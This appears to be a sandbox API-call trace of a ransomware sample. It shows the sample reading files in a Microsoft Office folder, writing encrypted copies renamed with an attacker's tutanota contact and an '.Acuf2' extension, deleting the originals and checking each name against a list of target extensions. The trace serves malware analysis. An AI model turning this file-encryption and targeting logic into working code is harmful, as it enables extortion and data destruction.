	[0264.463] WriteFile (in: hFile=0x218, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0264.464] ReadFile (in: hFile=0x34c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.464] WriteFile (in: hFile=0x218, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x100, lpOverlapped=0x0) returned 1
	[0264.464] SetEndOfFile (hFile=0x218) returned 1
	[0264.464] CloseHandle (hObject=0x218) returned 1
	[0264.464] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.464] SetEndOfFile (hFile=0x34c) returned 1
	[0264.467] CloseHandle (hObject=0x34c) returned 1
	[0264.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk")) returned 1
	[0264.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70
	[0264.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70
	[0264.467] lstrlenW (lpString=".doc") returned 4
	[0264.468] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0264.468] lstrlenW (lpString=".docx") returned 5
	[0264.468] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0264.468] lstrlenW (lpString=".pdf") returned 4
	[0264.468] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0264.468] lstrlenW (lpString=".xls") returned 4
	[0264.468] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0264.468] lstrlenW (lpString=".xlsx") returned 5
	[0264.468] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0264.468] lstrlenW (lpString=".ppt") returned 4
	[0264.468] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0264.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70
	[0264.468] lstrlenW (lpString=".zip") returned 4
	[0264.468] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0264.468] lstrlenW (lpString=".rar") returned 4
	[0264.468] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0264.469] lstrlenW (lpString=".bz2") returned 4
	[0264.469] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0264.469] lstrlenW (lpString=".7z") returned 3
	[0264.469] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0264.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70
	[0264.469] lstrlenW (lpString=".dbf") returned 4
	[0264.469] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0264.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70
	[0264.469] lstrlenW (lpString=".1cd") returned 4
	[0264.469] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0264.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70
	[0264.469] lstrlenW (lpString=".jpg") returned 4
	[0264.469] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0264.469] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=6816061) returned 1
	[0264.469] CloseHandle (hObject=0x34c) returned 1
	[0264.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs")) returned 0x20
	[0264.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.470] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0264.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60
	[0264.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60
	[0264.470] lstrlenW (lpString=".doc") returned 4
	[0264.470] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0264.470] lstrlenW (lpString=".docx") returned 5
	[0264.470] lstrcmpiW (lpString1=".docx", lpString2="T.HXS") returned -1
	[0264.470] lstrlenW (lpString=".pdf") returned 4
	[0264.470] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0264.470] lstrlenW (lpString=".xls") returned 4
	[0264.470] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0264.470] lstrlenW (lpString=".xlsx") returned 5
	[0264.470] lstrcmpiW (lpString1=".xlsx", lpString2="T.HXS") returned -1
	[0264.470] lstrlenW (lpString=".ppt") returned 4
	[0264.470] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0264.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60
	[0264.470] lstrlenW (lpString=".zip") returned 4
	[0264.470] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0264.470] lstrlenW (lpString=".rar") returned 4
	[0264.470] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0264.470] lstrlenW (lpString=".bz2") returned 4
	[0264.470] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0264.470] lstrlenW (lpString=".7z") returned 3
	[0264.470] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0264.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60
	[0264.470] lstrlenW (lpString=".dbf") returned 4
	[0264.470] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0264.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60
	[0264.470] lstrlenW (lpString=".1cd") returned 4
	[0264.470] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0264.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60
	[0264.471] lstrlenW (lpString=".jpg") returned 4
	[0264.471] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0264.471] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.471] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0264.472] GetLastError () returned 0x0
	[0264.472] ReadFile (in: hFile=0x34c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x27c, lpOverlapped=0x0) returned 1
	[0264.491] WriteFile (in: hFile=0x218, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x280, lpOverlapped=0x0) returned 1
	[0264.492] ReadFile (in: hFile=0x34c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.492] WriteFile (in: hFile=0x218, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0264.492] SetEndOfFile (hFile=0x218) returned 1
	[0264.492] CloseHandle (hObject=0x218) returned 1
	[0264.492] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.492] SetEndOfFile (hFile=0x34c) returned 1
	[0264.494] CloseHandle (hObject=0x34c) returned 1
	[0264.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc")) returned 1
	[0264.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64
	[0264.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64
	[0264.495] lstrlenW (lpString=".doc") returned 4
	[0264.495] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0264.495] lstrlenW (lpString=".docx") returned 5
	[0264.495] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0264.495] lstrlenW (lpString=".pdf") returned 4
	[0264.495] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0264.495] lstrlenW (lpString=".xls") returned 4
	[0264.495] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0264.495] lstrlenW (lpString=".xlsx") returned 5
	[0264.495] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0264.495] lstrlenW (lpString=".ppt") returned 4
	[0264.495] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0264.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64
	[0264.495] lstrlenW (lpString=".zip") returned 4
	[0264.495] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0264.495] lstrlenW (lpString=".rar") returned 4
	[0264.495] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0264.495] lstrlenW (lpString=".bz2") returned 4
	[0264.495] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0264.495] lstrlenW (lpString=".7z") returned 3
	[0264.495] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0264.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64
	[0264.495] lstrlenW (lpString=".dbf") returned 4
	[0264.495] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0264.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64
	[0264.495] lstrlenW (lpString=".1cd") returned 4
	[0264.495] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0264.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64
	[0264.495] lstrlenW (lpString=".jpg") returned 4
	[0264.496] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0264.496] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=1284456) returned 1
	[0264.496] CloseHandle (hObject=0x34c) returned 1
	[0264.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll")) returned 0x20
	[0264.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0264.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58
	[0264.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58
	[0264.496] lstrlenW (lpString=".doc") returned 4
	[0264.496] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0264.496] lstrlenW (lpString=".docx") returned 5
	[0264.496] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0264.496] lstrlenW (lpString=".pdf") returned 4
	[0264.496] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0264.497] lstrlenW (lpString=".xls") returned 4
	[0264.497] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0264.497] lstrlenW (lpString=".xlsx") returned 5
	[0264.497] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0264.497] lstrlenW (lpString=".ppt") returned 4
	[0264.497] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0264.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58
	[0264.497] lstrlenW (lpString=".zip") returned 4
	[0264.497] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0264.497] lstrlenW (lpString=".rar") returned 4
	[0264.497] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0264.497] lstrlenW (lpString=".bz2") returned 4
	[0264.497] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0264.497] lstrlenW (lpString=".7z") returned 3
	[0264.497] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0264.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58
	[0264.497] lstrlenW (lpString=".dbf") returned 4
	[0264.497] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0264.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58
	[0264.497] lstrlenW (lpString=".1cd") returned 4
	[0264.497] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0264.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58
	[0264.497] lstrlenW (lpString=".jpg") returned 4
	[0264.497] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0264.498] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.498] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0264.498] GetLastError () returned 0x0
	[0264.498] ReadFile (in: hFile=0x34c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x9580, lpOverlapped=0x0) returned 1
	[0264.576] WriteFile (in: hFile=0x218, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x9590, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x9590, lpOverlapped=0x0) returned 1
	[0264.578] ReadFile (in: hFile=0x34c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.578] WriteFile (in: hFile=0x218, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf8, lpOverlapped=0x0) returned 1
	[0264.578] SetEndOfFile (hFile=0x218) returned 1
	[0264.578] CloseHandle (hObject=0x218) returned 1
	[0264.578] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.578] SetEndOfFile (hFile=0x34c) returned 1
	[0264.581] CloseHandle (hObject=0x34c) returned 1
	[0264.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll")) returned 1
	[0264.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66
	[0264.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66
	[0264.581] lstrlenW (lpString=".doc") returned 4
	[0264.581] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0264.581] lstrlenW (lpString=".docx") returned 5
	[0264.582] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0264.582] lstrlenW (lpString=".pdf") returned 4
	[0264.582] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0264.582] lstrlenW (lpString=".xls") returned 4
	[0264.582] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0264.582] lstrlenW (lpString=".xlsx") returned 5
	[0264.582] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0264.582] lstrlenW (lpString=".ppt") returned 4
	[0264.582] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0264.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66
	[0264.582] lstrlenW (lpString=".zip") returned 4
	[0264.582] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0264.582] lstrlenW (lpString=".rar") returned 4
	[0264.582] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0264.582] lstrlenW (lpString=".bz2") returned 4
	[0264.582] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0264.582] lstrlenW (lpString=".7z") returned 3
	[0264.582] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0264.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66
	[0264.582] lstrlenW (lpString=".dbf") returned 4
	[0264.582] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0264.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66
	[0264.582] lstrlenW (lpString=".1cd") returned 4
	[0264.582] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0264.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66
	[0264.582] lstrlenW (lpString=".jpg") returned 4
	[0264.582] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0264.598] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=171368) returned 1
	[0264.598] CloseHandle (hObject=0x354) returned 1
	[0264.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll")) returned 0x20
	[0264.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0264.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60
	[0264.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60
	[0264.624] lstrlenW (lpString=".doc") returned 4
	[0264.624] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0264.624] lstrlenW (lpString=".docx") returned 5
	[0264.640] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1
	[0264.640] lstrlenW (lpString=".pdf") returned 4
	[0264.640] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0264.640] lstrlenW (lpString=".xls") returned 4
	[0264.640] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0264.640] lstrlenW (lpString=".xlsx") returned 5
	[0264.640] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1
	[0264.640] lstrlenW (lpString=".ppt") returned 4
	[0264.640] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0264.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60
	[0264.640] lstrlenW (lpString=".zip") returned 4
	[0264.640] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0264.640] lstrlenW (lpString=".rar") returned 4
	[0264.640] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0264.640] lstrlenW (lpString=".bz2") returned 4
	[0264.640] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0264.640] lstrlenW (lpString=".7z") returned 3
	[0264.640] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0264.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60
	[0264.641] lstrlenW (lpString=".dbf") returned 4
	[0264.641] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0264.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60
	[0264.641] lstrlenW (lpString=".1cd") returned 4
	[0264.641] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0264.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60
	[0264.641] lstrlenW (lpString=".jpg") returned 4
	[0264.641] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0264.641] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.641] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0264.642] GetLastError () returned 0x0
	[0264.642] ReadFile (in: hFile=0x328, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x277, lpOverlapped=0x0) returned 1
	[0264.645] WriteFile (in: hFile=0x34c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x280, lpOverlapped=0x0) returned 1
	[0264.646] ReadFile (in: hFile=0x328, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.646] WriteFile (in: hFile=0x34c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0264.646] SetEndOfFile (hFile=0x34c) returned 1
	[0264.646] CloseHandle (hObject=0x34c) returned 1
	[0264.646] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.646] SetEndOfFile (hFile=0x328) returned 1
	[0264.648] CloseHandle (hObject=0x328) returned 1
	[0264.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc")) returned 1
	[0264.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63
	[0264.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63
	[0264.649] lstrlenW (lpString=".doc") returned 4
	[0264.649] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0264.649] lstrlenW (lpString=".docx") returned 5
	[0264.649] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
